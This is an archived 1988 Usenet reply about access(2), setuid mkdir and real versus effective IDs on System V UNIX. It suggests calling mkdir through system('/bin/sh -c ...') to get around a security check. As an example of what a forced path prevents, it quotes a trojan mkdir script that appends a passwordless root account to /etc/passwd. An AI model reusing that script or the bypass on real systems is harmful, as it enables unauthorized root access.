[braindamaged?] use of access(2) -- long note
terry
terry at wsccs.UUCP
Sat Mar 12 19:10:09 AEST 1988
In article <70 at vsi.UUCP>, friedl at vsi.UUCP (Stephen J. Friedl) writes:
> I guess I gave an unclear posting. *I* know how access(2)
> works and how to do the permissions checking in the right way. A
> version of access (I call it accfile) does the same kind of check-
> ing but with the "proper" uid/gid.
>
> My lament is that *other* software (/bin/sh, test(1), temp-
> nam(3), the Informix sacego report processor, etc.) does it wrong
> and it keeps me from doing it right. For example, the shell's
> $PATH search mechanism means that I have to keep the project bin/
> directory open to everybody because the shell won't find my com-
> mands otherwise.
Obviously, you have not heard of the link function, which allows you
to link a file to another file. For instance:
login: root
# mkdir /rbin
# ln /rbin/test /bin/test
# ln /rbin/sh /bin/sh
login: dwiddly
$ PATH=/rbin:.:/usr/rbin (set by .profile, not owned by me)
$ mkdir foo
mkdir: command not found
> I have just found out that mkdir(1) on System V doesn't work
> right either. It runs setuid root (only root may mknod a direc-
> tory) and it uses access to find out if the underlying user has
> permission to do this. I guess they miss the case where the ef-
> fective group has permission but the real+effective user and real
> group do not. Yet another case of the kernel doing what I tell
> it rather than what I want.
No, it does what it's supposed to. I will assume that your effective
user an group ID are caused by a C program. If you want to defeat it, however,
you could simply doo the following:
instead of
mkdir( "/bin/foo");
or
system( "/bin/mkdir /bin/foo");
use
system( "/bin/sh -c /bin/mkdir /bin/foo");
This will cause the mkdir to see the system()'ed shell's real UID and
GID, which will be whatever your effective UID and GID were, thus getting
around a security feature of UNIX. Note that I forced the path on the mkdir
command so the user could not have his own mkdir in his path before the /bin
one, thereby preventing:
$ cat mkdir
:
# shell script to fool root
echo "me::0:1:Fake root account:/:/bin/sh" >> /etc/passwd
mkdir $1
$
> Wouldn't it make sense to (A) provide a "accfile()"
> syscall/routine that does access(2) with real ids and (B) put a
> note on the access manual page saying "you probably don't want to
> use this function." Perhaps provide a version of access that is
> passed the user/group ids to be checking against? Then it could
> fit all the needs.
Or you could use the method above... gee, now why should you complicate
the library more again?
| Terry Lambert UUCP: ...!decvax!utah-cs!century!terry |
| @ Century Software or : ...utah-cs!uplherc!sp7040!obie!wsccs!terry |
| SLC, Utah |
| These opinions are not my companies, but if you find them |
| useful, send a $20.00 donation to Brisbane Australia... |
| 'There are monkey boys in the facility. Do not be alarmed; you are secure' |
More information about the Comp.unix.questions
mailing list